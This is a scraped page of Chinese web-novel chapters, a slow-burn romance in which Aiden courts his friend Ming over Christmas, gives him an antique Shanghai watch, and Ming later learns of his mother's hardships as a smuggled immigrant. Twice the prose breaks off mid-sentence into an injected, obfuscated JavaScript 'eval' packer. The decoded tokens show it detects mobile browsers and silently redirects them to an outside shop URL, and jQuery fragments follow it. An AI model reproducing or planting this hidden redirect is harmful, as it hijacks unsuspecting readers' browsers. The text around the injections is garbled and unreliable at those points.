“味道不错。”福特野马继续在空旷的大道上行驶,很少有人会在平安夜出门,他们就像是。艾登嘬了嘬手指,可能是云决明的错觉,但他似乎多花了一点时间品尝他的食指,“你还想再吃一个吗?” “好——不。” 他仍然有点晕乎乎的脑袋抢先一步为他做了回答,好在理智及时跳出来悬崖勒马,就像从地上抓起面粉袋子一样地把他脑子里迷得七荤八素的那个自己抓起来扇了几巴掌,才让云决明清醒过来。他不清楚是艾登脑子突然出了毛病,还是昏暗的车厢造就了某种暧昧的气氛,但他可以完全肯定,这个世界上再要好的男性朋友之间都绝对不会干出喂对方吃一口蛋糕再吞下去的事,更不会完事以后像小孩竭尽全力要把剩余甜味从冰棒里嘬出来一般去舔自己的手指。 艾登似乎没有注意到云决明的失控,还有那古怪到了极点的回答。他仍然镇定自若地开着车,表情自然,右手随意地垂在大腿上,这一幕正常得差点让云决明觉得适才一切都是自己的幻觉,直到艾登瞥了他一眼,突然轻笑了起来。 “好,还是不?” 84. Chapter·Thirty-One 艾登的想法是在跟艾莉谈过以后改变的。 在和自己的妹妹谈起Ming以前,艾登还震惊于自己会爱上男孩这个事实,下意识地就代入了传统的思维套路——“他不是gay,如果我贸然与他亲近,可能以后连朋友都做不成了”,以及“他不是gay,我还是不要勉强这段感情了”。 然而,艾莉那句“你爱上了Ming,那你就放心大胆的去追——别跟我提那套‘我们以后可能连朋友都做不了’的bullshit,你都想跟对方吻个难分难舍地动山摇了,你觉得你们两个还能做朋友多久?”却让他醍醐灌顶,一下子回过味来。 他有可能压抑住这感情,就这么平平淡淡地与Ming做一辈子朋友吗? 不可能。 也许有人可以做到,也许Ming就可以做到,他像从幽暗深处发出的一场梦,宁静地包裹着一切惊心动魄的秘密与情感,从未大声说过话,从未发过脾气,从未放声大笑,从未黯然垂泪。艾登可以想象倘若他们彼此身份调换,是Ming不可自拔海枯石烂地爱上了自己,他在听见自己将要结婚的消息时也不会皱一皱眉头,“恭喜你。”他多半只会淡淡地说,甚至不介意以伴郎身份出席婚礼。 可艾登不会,倒不是说他会干出在婚礼上将新郎劫持这样既狗血又恶俗的事,在Ming与另一个人——不管是男孩还是女孩——走到那一步以前,他就会阻止这一切——“嘭”地一声把刚拉开的大门推上,手紧紧压在门扉上,令任何企图离去奔赴第一场约会的尝试都是徒劳,“你知道我爱你,为什么不与我试试看?”他会说,“你愿意给一个陌生人爱上你的机会,都不愿意给你自己一个爱上你最好的朋友的机会吗?” 如果Ming只是沉默不语——就像此刻他面对自己“好还是不?”问题时那样,什么都不说地转过头去,用低垂的如鹿般柔软的双眼遮掩自己的心事——那艾登可能会哀求,可能会示弱,可能会赖皮,但与其让自己那么狼狈,他从下午到吃平安夜大餐都在考虑这件事,艾登觉得还不如自己主动出击。 如果一个人会爱上另一个人,说明爱情是注定发生的,无论取向。 如果一个人无论如何都不会爱上另一个人,说明无论取向如何,爱情都不会发生。 他为何不能试试?如果确定朋友是做不成了,那还不如放手一搏,here goes nothing。想要的就努力得到,从来都是艾登对待人生的态度,比赛的胜利如是,二十七任女朋友如是,决定调查父亲的案件如是,Ming也如是。 艾登用眼角余光瞥着Ming的反应。 蔓越莓的清甜残留在口腔中,食指上停留着Ming柔软嘴唇的触感,仿佛是一艘历经骇浪的小舟,平静地停靠在大海上回味着那刺激的一刻,艾登从收获里品尝出了须后水与润唇膏的味道,还有一点淡淡的属于Ming的味道,食髓知味地让他回想起初次见面的那个清淡的吻,总是吃过的东西更能勾起馋虫,凭空想象永远难以感同身受。 Ming知道自己对他的感情,如果他真的想划清界线,此刻就是时候。艾登不仅跨越了界线,他还在界线的另外一边打下了地基,宣告自己要在那儿永久安家。这是Ming唯一的一次机会,如果他说好,艾登会立刻停下车——他不管这是违法的,也不管身后随时会有一辆大卡车横冲直撞地追尾——把他从副驾驶座上抓进自己怀中,用唇齿在他身上打下属于自己的标记;如果他冷漠而坚决地说不,艾登就只能当这事从来没发生过,默默地拔掉钉子,拆掉木桩,抹干净自己留下的一切痕迹,退回界线之内,忍受着煎熬,等待着下一次进攻的机会,也许是一个月以后,也许是一年以后,也许是十年以后。 他僵硬地坐着,一只手抓着安全带,路灯像那种必须翻得飞快的漫画书一样在他脸上留下一格一格的怪异形状,照得他整个人蜡黄无比——却遮掩不了从耳朵后涌上的红潮。艾登隔一两秒钟就瞥他一眼,每次都能瞧见红晕又侵占了多少地盘,等他那可爱的鼻子尖都红透了的时候,艾登才听见他从喉咙里挤出一句话,小心翼翼地,“我还不饿,一会再说。” 艾登忍不住笑了,他一直装得很淡定,尽管他的心恐惧激动得都在眼球后剧烈跳动。他应该继续若无其事地装下去,但有些心情也无法藏住,他刚想问Ming想不想试试看别的零食,就听见一个机械女声从他的手机传出,“零点五英里以后左转,您的目的地就在左手侧。” “快到了。” “嗯。” “我想应该就是这儿——哇。” 就连艾登自己都没料到一转弯就能瞧见这样的景色——整一条街道上的积雪都扫得干干净净,只有一层薄薄的乳白笼罩在屋子与树枝上,恰到好处布置得犹如宁静的东海岸拉斯维加斯,路边的每一棵树都被精心装饰成了一颗圣诞树,不仅郑重其事地给每一根枝条都缠上了灯缆,而且还用挂饰,绶带,以及天使像从顶到根装饰起来,有些人家门前的树冠比较稀疏,便在树干上系上了一个硕大的红色蝴蝶结,有些人院前的树枝繁冠密,便在树下进行布置了约瑟夫,玛丽,还有耶稣一家的雕像,有些讲究点的,甚至还把其他圣人及刚出生的小羊羔都摆了上去,俨然重现圣经上所描述的耶稣降生一刻。 街道尚且如此,屋子就更不必说了,艾登的脚都从油门上松了开来,任由车子随惯性缓缓向前移动,目不暇接地左右晃着脑袋,Ming也从座椅上直起身子,伸长脖子张望着——这种感觉是非常奇妙的,就好像掀起了窗帘的一角窥探到了别人的生活,但又不是通过一种会让自己产生罪恶感的方式。“快看那家!”艾登兴奋地叫嚷起来,指着一户像是要把自己的房子装饰成迪斯科舞厅一般的人家。他们用了许多酷炫的光影效果,屋顶上耸立着一个硕大无比的五角星,一段一段的光条不断从屋顶向星星汇聚而去,前院里有一颗特别大的圣诞树,几十条彩灯从顶上像头纱一般垂落,像是围绕着圣诞树撑起了一个LED灯帐篷,每条灯串依次闪耀,环场一周以后便齐齐闪耀三次,这颗大圣诞树周围还装饰着几颗小圣诞树,用铁丝网加灯串模拟出来的礼物盒,同样由铁丝网加灯串描绘出的圣诞老人及他的雪橇,看得人眼花缭乱,“我猜他们这个月的电费一定很高。” “及不过那家。”Ming也开口了,指了指右边一栋同样走七彩幻耀主题的房子,艾登隐隐约约觉得似乎听到了音乐,便把车窗降下来一点,果然听见了Tis the Season To Be Jolly的音乐从屋子里传来,这一户人家比之前艾登瞧见的那一家更加夸张,他们院子里虽然没有大圣诞树,但是有几十个一闪一闪的圣诞装饰,有圣诞老人,有驯鹿们,有圣诞精灵,拐杖糖,袜子,雪花,等等,应有尽有。窗户边和屋子的轮廓也用彩灯装饰着,艾登定睛一看,才意识到那些灯光的闪烁是跟着音乐的节奏走的,“他们难道晚上不会被吵得睡不着觉吗?” “我猜他们既然举办圣诞灯光大赛这么多年了,应该对这种事很有经验,”艾登说,“可能他们对音乐的播放时间有限制,比如到十点半就不能外放了。不过,老实说,要是没有背景音乐,乍一看之下倒是很容易被他这五光十色的前院给闪瞎。” “那一家呢?”Ming指了指左前方的一户,“看起来中规中矩,非常古典。” “确实,”艾登打量了几眼,屋顶边缘用金黄的灯饰描边,门廊的栏杆上缠绕着冬青枝条与星星灯,阁楼的小窗台前悬挂着一个巨大的圣诞花环,“不过他们用来装饰灌木丛的不是一般的LED灯串,而是像演唱会上挥舞的光棒粘成海胆一样的灯,这点倒是很别致,我猜他们不打算赢,但是也想一块参与。” “你看那边!”Ming突然拍了拍他的手臂,指着右边的一栋房屋,“快看他们在窗户上弄了什么?” 艾登凑了过去,平时他很少会留意自己与Ming之间的肢体距离,今天却特意凑近了些,Ming有些不自然地向右边缩了缩,艾登心里坏坏一笑,下巴故意停留在Ming的肩胛骨处,一开口,热气就全喷在他的耳际与侧脸上——他已经意识到Ming刻意与他保持距离并不是为了划清界限,而是因为他害羞,这反而极大地勾起了他的兴致。 “让我看看,”他还特意把声音压得更低沉了些,以前有不少约会过的女孩都说他的嗓音很性感,艾登觉得这个评价应该在男女身上都适用,“老天爷——他们是在窗户上弄了什么恐怖电影吗?” 然而,等他仔细查看的时候,艾登又立刻因为自己眼前看到的诡异景象把“引诱Ming”的想法抛到了脑后。他甚至停下车,把车窗完全降下来,就像共用一个龟壳的两只乌龟般和Ming一块把脑袋伸出去使劲地打量眼前这栋房子,力图在飞雪中分辨出个子丑寅卯。 眯着眼睛看了老半天,艾登才发觉这户人家应该是把一个投影仪卡在了前院的一颗大树上,好让影像能直接投映在二楼的窗户上——他们的本意应该是想制造圣诞老人从窗户里钻进钻出的的效果,然而由于窗户的反光效果实在不佳,看上去就像个没头的穿着血衣的胖子在窗户上若隐若现,“我不知道这儿的评委会是怎么想的,”目瞪口呆地打量了好一会那窗户,艾登才从不知道该感到惊悚还是该大笑的冲动中把自己的声音拽了回来,“但如果是我,我会给这栋屋子颁发一个‘血腥圣诞节’奖,恭喜他们给整个社区的孩子都留下了永远无法抹灭的阴影。” Ming禁不住笑出了声,“我觉得,要是这会他们刚好往窗外看,发现有两个脑袋挤在车窗里目不转睛地打量着他们的房子,对他们来说也挺恐怖的。” “说的也是。”艾登把身子缩了回去,但不忘轻轻捏了一下Ming的鼻子。等他把档位重新挂回D档时,余光瞥见Ming正低着头不自觉地摸着鼻子,便偷笑了一下。 只要知道Ming并不介意让他在界线的另一边安营扎寨,这对艾登来说就是一场极为有趣的追逐,他享受的不是把猎物逼得无处可逃再最终手到擒来时的快感,因为他不希望给Ming留下一种他屈服于自己的攻势之下而不得不爱上自己的无奈感受,更想要那种步步为营最终将猎物逗得昏头转向主动栽进自己怀里的成就,艾登向来都很有耐心。 他们这时候已经来到了街道尽头,艾登拐了个弯,往相邻的那条小路上开去,“那一栋怎么样?”他说的是第一栋跃入眼帘的房屋,“他们一定很爱国,竟然用灯光在草地上拼出了美国国旗——难怪了,Ming,快看,他们居然公然在窗户那儿挂着‘给□□投票’的标牌,这个社区的人想必一定非常友好宽容,他家竟然没有因此被人扔鸡蛋和卫生纸。” “你瞧这一户,也太偷懒了,”Ming的注意力被右边的一栋吸引了过去,“前院里用的都是充气装饰品,只弄了一点儿灯串——敷衍了事的态度就差写在门前的地垫上了。” “我猜那户人家肯定非常虔诚,”艾登扭头一看,错过了Ming谈论的那一家,但是又发现了新的一户,顿时笑得都快岔气了,“我还是第一次见——哈哈哈哈哈哈哈哈——穿着圣诞老人衣服的耶稣,不对,我收回我的话,这户人家不一定非常虔诚,但一定很有恶搞精神——他们把十二门徒全都打扮成了圣诞老人的小精灵!” “那那一户呢?我刚打赌他们肯定是最后一刻急匆匆地跑去商场里购买装饰的,他们放在草坪上那个巨大的充气人偶甚至都不是圣诞老人,而是小黄人。” “快看那一家,他们估计是装饰品不够用了,把万圣节的装饰都拿出来了——如果我没看错的话,他们的确是在试图往塑料南瓜顶上放圣诞花环,企图让它们看起来像圣诞装饰吗?刚才远远看着,我还以为他们家有好多橙色的花盆呢。” “你看那边那栋——他们的草地上居然有两个超大的雪花球,太酷了。” “你看你看,那户人家的屋顶上有个超大的‘圣诞快乐’招牌——估计是暴风雪过后才立起来的,不然这会他们的屋顶上就该有个被招牌砸出来的大洞了。” 就这样,他们开着车,慢慢地把整个小镇都逛了个遍,等看完最后一栋屋子,艾登把福特野马停到了附近的一个公园边上,他们面前不到两百英尺就是一个波光粼粼的湖泊,倒映着今夜清澈冰冷的月光。雪持续下着,却没有变大,淅淅沥沥地落在车窗上,如同被染白的雨滴。“我们还不回家吗?”Ming有些不解,“已经快要午夜了。” 确实,他说的没错,有不少屋子的灯停止了闪动,大声播放着圣诞歌曲的人家也归于谧静,仿佛这一刻整个小镇都屏住了呼吸,静静等待着圣诞的来临,每扇窗户后都有一颗精心装饰过的圣诞树,每颗圣诞树旁都有一户欢欣鼓舞地庆祝着节日的家庭——打着绸带的礼物盒栖息在树根,圣诞卡片在壁炉或钢琴上方闪闪发光;躲在被窝里的孩子满心欢喜地计算着圣诞老人什么时候会来,自己留下的饼干是否会被吃掉;大人带着圣诞帽,围坐在餐桌旁谈笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041261|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,吃剩的圣诞火鸡旁是还未喝完的蛋奶酒,远处的电视里遥遥放着圣诞电影,隐隐约约的笑声从这间屋子流淌到另一间屋子,幸福顺着灯光从屋内泄露到屋外,照亮了整个夜晚。 “一般来说,美国人过圣诞的传统是在早上打开礼物,”艾登说,“不过,由于我的家族是从欧洲那边移民过来的荷兰家庭,我们保留了平安夜交换礼物的传统——通常是在将近午夜的时候,这样,拆完礼物,大家就可以各道晚安,说圣诞快乐,喝上一杯热气腾腾的可可,接着再去睡觉。” “可我给你准备的——” “——礼物还在家里,我知道。”艾登伸手揉了一下他的脑袋,Ming几乎是下意识地往后缩,但艾登早就预见到了这一点,特意把手伸长了点,他到底没躲过,“没关系,我给你准备的大部分礼物也在家里——但这一份,我想提前给你,很遗憾我们这会不是坐在圣诞树下,但我猜,这个世界可以是我们的圣诞树,每一颗星星都是为这一刻而点亮的。” 他说着,把奶奶装小蛋糕的篮子拿了过来。奶奶怕他们吃不完浪费,所以只装了七八个,剩下的全靠一大块红格子隔热布撑场面,艾登便趁机把他给Ming准备的礼物藏在了下面。掀开格子布,下面便是一个包装得异常精美的盒子,艾登双手将它捧出,指尖感受着上面残留着着的蛋糕温度,“不知道你会不会喜欢。” “你送的,我肯定都喜欢。” “这话不是我说过的吗?”艾登好笑地看着他,忍不住又捏了一下他的耳朵,这一次Ming倒是以一只受惊小鹿从狼口逃窜的速度飞快地躲开了,细雪漂浮的浮光下,他的脸染上了一点淡淡的粉色,但仍然竭力保持着淡然的模样,没有破坏包装纸和绸带,一点点地将里面那个墨绿色的绒布盒子拆了出来。 要不是那个盒子比一般的戒指盒子要大得多,艾登估计自己一定能在Ming的脸上看到极其精彩的表情。 “这是什么?” “你打开来看看嘛。” Ming照做了,盒子里躺着是一枚几乎全新的上海牌手表,他发出了惊讶的半声惊呼,“这不是——” “在纽约逛古董店的时候,我看见你一直打量这枚手表,我想你应该很喜欢它。”艾登接话道,“所以离开的时候,我顺手拿走了店主的名片——店主人很好,他愿意亲自把手表送过来,只要我肯出油费和过路费。今天早上艾莉就帮我收下了,当然包装还是我包的。”他忙不迭地强调了一句,“这块手表是以前老式的中国生产的手表对不对?确实很漂亮。” Ming似乎惊讶得说不出话来,只是在昏暗的灯光下反复打量着那枚手表,细细阅读着它反面铭刻着的中文,手指不停抚摸着柔软的皮革表带。 “喜欢吗?”艾登自然地握住了他的手臂,“要不要戴上看看?” 他非常克制地帮Ming扣上了表带,动作点到即止,不带任何挑逗和青欲,这不是逗弄对方的时候,艾登瞧得出来,这块手表对Ming有非常特别的意义。 “我的小姨就有一块这样的手表。”低头望了手腕半晌,Ming才终于开口,“就跟这块一模一样,只是没有那么新。是她从她的父母那儿唯一得到的遗物。 “我五岁的时候,我的外公和外婆都去世了——他们跟我的小姨矛盾也很大,始终不愿意原谅她偷了家里的钱去接济我的母亲这件事,更不愿意接受她为了照顾我跟我小姨夫结婚了这件事,他们早就在湖南老家给我小姨说了一门亲事,对方是工厂老板的儿子,愿意出一大笔钱给我的外婆外公重新建房子。 “他们一直为这件事非常愤怒,也觉得非常丢脸,从此以后再也不跟我小姨说话了。总之,她再次得到他们的消息的时候,是村子里的远房亲戚通知她回去给她的父母办丧事。我外公外婆留下来的遗产,全被她的表哥们抢走了——因为女人没有资格继承土地,房产这些东西,要不是小姨的表姐把我外婆的陪嫁——也就是那块手表偷偷藏起来了,恐怕早就剩不下了。我小姨赶回去的时候,他们连外婆的旧衣服都论斤卖给了收废品的,家具也是搬的搬,卖的卖,实在卖不掉又搬不走的就砸烂,总之是一点没留给我小姨,但丧事却理直气壮地叫她出钱。” 艾登听得惊愕不已,有许多不明白的地方,却又不好开口问。 “总之,那都是我后来听大人闲聊时说起的事,我小姨从来没提起过,但她很珍爱那块手表,我看得出来这一点。 “但她后来终究是不得不卖掉了——因为我的奶奶,也就是我姨夫的妈妈生病了,她不得不辞掉工作照顾老人,家里少了一份收入,只好吃老本,老本吃完了,也就只能当掉东西了。她从当铺回来的那天晚上哭了一整晚,我的姨夫喝干了一整瓶劣质白酒,抱着马桶痛骂自己没有本事,一边骂一边吐,一边吐一边扇自己巴掌。” Ming还是一贯冷淡的语气,可他别过的眼里说尽了往昔的苦涩,他甚至没注意到艾登已经将他搂了过去,手温柔有力地上下抚摸他的脊背,就像父亲在宽慰自己的孩子,温情中混杂着而不必说出的爱。 “我一直想把那块手表从当铺里赎回去给她。我十一岁生日时的心愿就是这个,我以为它永远都不可能实现。” “当然,这不可能是同一块,”艾登低声说,他的手眷恋地停留了一刻,然后缓缓握成拳头,放下了,“但好歹是个慰籍——” “我知道。”Ming仍然低头摩挲着光滑的表面,时间好似凝固在这一刻,停滞在簌雪与路灯中间,如果注意去看,人们会发现那中间相隔的黑暗是永恒不变的,仿佛时光分为两条洪流,一条顺着落下的飘雪向前飞去,一条顺着涌上半空的雾气光晕向后倒灌,中间则是永远也无法填满的死寂,充斥着人们丢失后就再也找不回的心爱之物,遗忘就再也想不起来的记忆,未曾告别就再也见不到的生命。 “咻”地射上半空中,猛然炸开的烟火让艾登和Ming都吓了一跳,不约而同地抬起头看,看着成万上亿的火星在遥远的半空中迸射开来,它们霎时间碰撞在一起,轰然释放出划亮世界的光芒,随即便浮沉着滑入黑暗中,各奔东西——如果这就是人生,艾登刹那间突然想到,如果我们每个人的生命都不过只能短暂地照亮刹那自己眼前的三分土地,随即便四散奔离,那在彻底消逝以前,他都绝对不会放开Ming的手。 绝对不会。 “圣诞快乐,Ming。” “圣诞快乐,艾登。” 85. Chapter·Thirty-Two 大概是因为他这次回家是打过招呼的原因,云决明走上台阶时,发现房门是虚掩着的。 一推开,就瞧见母亲的身影在厨房里晃悠,一根抽了一半的烟搁在灶台边的锅铲架托上,和锅里正在煮的菜一起散发出袅袅轻烟。“谁?”她有些尖利的声音陡然响起,云决明不由得觉得有些好笑,家里的租客都各自出门去庆祝元旦了,这时候上门的除了自己还能有谁? 不过,母亲似乎一直都有些神经质,云决明还记得她从前每天晚上睡觉前都要把全家的门窗都检查一遍,确保每一扇都锁好了。“是我,”他高声回应了一句,“不是说让我带菜回来做吗?你怎么先开始做饭了?” 今天是2015年的最后一天,云决明打算回家住一个晚上,和母亲一块跨年。 母亲在电话里听说这个消息时一如既往地没有多大反应,“你要回来?”她确认了一下,“那我去把你的房间整理一下,再去买点菜。” “我带菜回来吧,房间我也自己整理。” “随你。” 话是这么说,然而母亲似乎早就把这段对话忘到了脑后,云决明吃力地拎着大包小包的购物袋来到厨房的时候,母亲正在水池里清洗青菜,灶台上的小锅里咕咚咕咚地缓慢冒着泡泡,排骨在粘稠的深红色酱汁中起起伏伏,台面上还另外有一碗已经搅拌好的蛋液,一些切好的番茄——这个阵仗完全没办法与艾登或艾登奶奶的手艺媲美,但确实对母亲来说算得上是极为丰盛的一餐了。云决明没多说什么,只是默默地把买回来的肉,菜,蛋,还有调味品分门别类地往冰箱和橱柜里放。 艾登听说自己确定不跟他一块跨年倒是显得非常失望,“爷爷奶奶带着艾莉去滑雪了,妈妈要忙工作,”他当时垂头丧气的,就差跟洛克希一块趴在地上呜咽着摇尾巴了,“我还以为你是元旦当天才回去呢。这么一来,我就只能去参加黎疏眠举办的元旦派对了——想也知道,那上面肯定挤满了女孩。” 云决明觉得自己一定听错了。艾登怎么可能会不想去一个“挤满了女孩”的派对呢? “你会玩得很开心的。”他当时淡淡地应了一句。 “肯定不会,”艾登认真地盯着他的双眼回答,“因为我只想跟你一起过。” 云决明差点就招架不住他的目光,险些改变自己的计划。 这又是最近另一件让他有些困扰,却又拿捏不准自己到底是多心了还是确有其事的事——艾登似乎越来越把握不住朋友之间的相处边界了,时不时就喜欢伸手摸摸他的脑袋,捏捏他的脸,刮刮他的鼻子,搂搂抱抱拉拉手更是像家常便饭一样,说干就干。今天早上,他跟自己一块去超市的时候,非常自然地在停车场就抓起了他的手——虽说不是十指相扣那种亲密的方式,但也足够把云决明吓出一身冷汗,东张西望了好几秒,生怕有人会瞧见这一幕。他试过把自己的手抽出来,但就像他们走在纽约街头时一样,那只让艾登把他的手抓得更紧了。 他打电话询问了黎疏眠这件事,指望着她能给自己一点有用的建议。 “这个嘛……”黎疏眠在电话里的声音听上去很古怪,似乎在忍耐着不让自己大笑出来,“我觉得这听上去确实像是艾登会做出的事情——他本来就是一个特别喜欢亲近别人的男孩。” “亲近他过去的二十七任女朋友,那倒不奇怪,”云决明迟疑着开口了,要不是万不得已,他才不会主动跟黎疏眠说这种事,但他觉得就这么继续相处下去,迟早有一天他的防线会全面崩溃——当然,以艾登跟他的体力差距来看,他怀疑自己还没来得及扑倒艾登就会被他打翻在地上。但不管怎么说,结论是不变的,他需要跟艾登划清界线。然而,他同时又不非常想跟艾登划清界线,谁不愿意和自己喜欢的人亲近呢?“亲近他的男性好友,这就有点奇怪了。” “你得考虑到艾登之前没有真正交心的好朋友,”黎疏眠声音闷闷的,他似乎还在背景里听见了艾莉咯咯发笑的声音,“所以他有时候可能会无意识做出这样的事——” “你的意思是我不用理他?就这么放任他对我——”云决明本来想说“毛手毛脚”,但转念一想又觉得不对,只好含糊地嘟囔了一个他自己都听不懂大的词,“万一哪天我把持不住了呢?你不是一直都告诉我我不该——” “我知道我以前跟你说过什么,”黎疏眠打断了他的话,“但是,情况总会变的——你要是把持不住了,就听从你的心,大胆去做——你可能会得到一个意想不到的结果。” “你是说,猛地被揍了一拳的那种意想不到?” “这个嘛……”黎疏眠拉长了声音,艾莉几乎是在放声大笑的声音清晰地从背景里传来,云决明猜想她应该在油管上看什么搞笑视频,“你不做怎么知道会有什么后果?” 所以,黎疏眠在这件事上一点忙都没帮上,云决明挂电话的时候,觉得自己比打电话去时更困惑了。 “你怎么买了这么多,我自己一个人吃,哪里要吃这么多,等下吃不完,要浪费了。” 母亲的声音打断了云决明的思绪,他手里拿着最后一袋肋排,正企图在冷冻柜里找到一个能塞得进去的空隙。 “我都放冷冻了,蔬菜我都买了不容易坏的。”他说,“我知道平时只有你一个人吃,但也别老煮粥,本来你——”他想说本来你也不需要工作,在家没多少事做,可以试着给自己做点好吃的,又觉得这话听着有些不妥,临时改了,“——就瘦,得吃多一点。” “我哪有什么心思做饭,做了也没人陪我吃,自己吃还做那么精细,跟寡妇穿绫罗绸缎有什么区别?” 云决明无奈地站起来,“妈,这怎么能比——” “你都搬走了,还管我那么多?” 母亲抬眼瞧了瞧他,又转过头去。那半截烟不知道什么转移到了她的手上,时不时便被狠狠抽上一口,云决明注意到她的脸色比上次似乎又难看了不少,脸色灰暗蜡黄,“你去体检了吗?”他忍不住问道,也顾不得这么问会不会让母亲多想,“你没去的话,我帮你预约——” “急什么,”母亲皱起了眉头,“我体检过了,去家庭医生那里体检的。” “结果呢?” “我早就扔了,没说有什么问题,留着干嘛?” “留着给我看看啊。” “给你看看?”母亲嗤笑了一声,“鬼知道你什么时候想回家来看看,我什么都得留下来给你吗?” “我之后会经常回来的——” “别费心了,”母亲缓缓吐出一个烟圈,“我知道你学习忙。” “我以后每个星期都回来——” “行了,让我看看排骨,我觉得快做好了,差不多可以下锅炒别的菜了。” “妈——” “你去餐桌那里坐着等,一会我叫你装饭——” 她突然愣住了。 云决明后知后觉地放下抓挠耳后发根的手,才从母亲追随的目光中瞧出让她猛地噎住了的是自己的手表——那块艾登为他在古董店买下的上海牌手表,他的圣诞礼物。 “怎么了?”他不动声色地问道。 “你从哪里得到那块手表的?”母亲脸色一瞬间古怪起来,声音甚至都颤抖了,“丽华跟你联系了是不是?那块手表是她的,她是不是专程寄到美国送给你了?” 云丽华,是小姨的名字。 云决明已经有很多年没听见母亲提起她了,顿觉有些恍惚。上次他听见这个名字从某个人的嘴巴里蹦出来的时候,他和艾登正坐在唐人街的一间24小时营业的茶餐厅里,对面的女侍应生卸下了在餐厅里那一副雷厉风行,干练利落的模样,顿时就显得既苍老,又疲惫,层层的褶皱在颧骨上挂不住,犹如被拉扯下来的窗帘般堆积在法令纹上,染着黄渍的牙齿紧紧咬着“中华牌”香烟,像是窗帘不经意掀起一角后露出的泛黄墙皮。 “云美华,我记得她,”在毫不羞臊地收下她当场向艾登讨要的3000美金“消息费”以后,她不疾不徐地开口了,“她有个妹妹,叫云丽华,是不是?她经常提到她妹妹,所以我记得很清楚,美丽,这样的名字很难忘记的。” 云决明的手无意识地收紧了一下,“她经常提起我小——我是说,她妹妹?” “嗯,她当时跟我住在唐人街上的一间非常的小的房间里,上下床,爬下来以后就得像螃蟹一样侧着身子出去,衣服只能塞在床底下的箱子里——不止是衣服,什么东西都必须塞在床底下的箱子里,洗发水,沐浴露,脸盆,毛巾,你说的上来的东西都塞在床底。我们那时候也没有娱乐活动,我们连洗衣房的费用都付不起,哪里可以负担得起去电影院?或者是看电视?夏天我们可以把窗户大开偷听别人家电视机放映的声音,冬天我们只能裹紧毯子说说话,打发一下时间。”这时服务员端上了奶茶,云决明注意到她对于自己从事同一个行业的人也没有什么耐心和礼貌,连句谢谢都没说。 “她都说了些什么?” “一开始当然没说什么,我不认识她,她不认识我,我和她只是两个刚好住到同一个房间的室友,”女侍应生没有问云决明他为什么想知道这些,似乎对她来说,这些无用的记忆只要能换回一些钱财就足够了,“她当时还没在海鲜东来找到工作,那还是我介绍她去做的,海鲜东来给钱给的大方,而且让我们保留自己赚的小费,像她这样刚刚下船偷渡过来,在唐人街没有一点关系人脉的,根本找不到这样的好工作。” “她当时做什么工作?” 女侍应生盯着云决明看了一会,露出一个意味深长的笑容,“那不重要。” “不重要?” “不重要,”女侍应生毫不忌讳地从牙签盒里倒出一根牙签,慢悠悠地用它剔着牙,“我后来求经理给了她一份工作,让她在后厨干洗碗的活——钱是不多,但至少是份正经工作,而且不怕被移民局抓住。” 云决明想起了海鲜东来餐厅油腻腻黏糊糊的后厨,昏暗不见光的房间哪怕是在纽约的冬天也热得让人浑身是汗,还有他偶然一瞥间瞧见的蹲在后头刷锅的那几个女工,心中不由得一涩痛。 “你为什么决定帮她找这份工作?” 女侍应生抬眼乜了他一下,哼了一声。 “她偶尔提了一次——有天晚上她躲在被子里抽抽噎噎地哭,我第二天六点就要去上班,烦得要死,直接踹了床一脚,‘哭你老母’,我骂她,‘别人不用睡觉的咩?’然后她递了一张照片给我,照片上就是你,在公园里玩。” 云决明无法想象他母亲哭泣的模样。 “我问她这是谁,她说这是她的儿子,留在国内,由自己的妹妹照顾,”女侍应生这时候从口袋里摸出了一包烟,云决明认出那是之前她用来叫住艾登时手里拿的那半包,缓缓地吞吐着,“她絮絮叨叨还说了很多,我记不太清楚了,大概是说她想攒一笔钱,寄给她的妹妹,因为她听妹妹说你的学习成绩很好,很聪明什么的,她想要你转学去私立学校念书。我自己又没有孩子,我也不理解她的心情,就是看她哭得伤心,摸着那张照片好像摸着一条钻石项链的模样可怜,我才去求经理的。不然,在唐人街,谁去管别人的死活?管好自己就不错了。” “她从来没寄钱过来过。”云决明木然地说道,低头揉着眼睛,他觉得那女侍应生粗俗的话语狠狠地在他肚子上揍了一拳,胃酸沿着喉管涌上大脑,烧灼着眼球,泪水控制不住地在眼眶后打转。我怎么会为这种事伤心呢?他心想,那个女侍应生完全可能在胡诌,没有任何证据能证明她说的话是真的。然而,另一方面,他又很清楚对方根本没有说谎的动机。 “她当然不可能寄钱,”女侍应生不以为然,“她的护照都在蛇头手上扣着呢,不给上一大笔钱根本赎不回来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041262|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她在海鲜东来工作了一年,几乎是把每一分钱都省下来,还是连个零头都没凑到,要不是她后来嫁给了一个老白,蛇头不想惹事,就把护照还回去了,她这辈子都别想把身份赎回来——蛇头的利息比高利贷还要高。而且我听说,她刚下船的时候被货柜里那些死人传染了疾病,治病的钱是蛇头垫付的,那个也需要还,又是一大笔。据说也是她后来嫁的那个老白男给她出的。” “你见过他吗?” 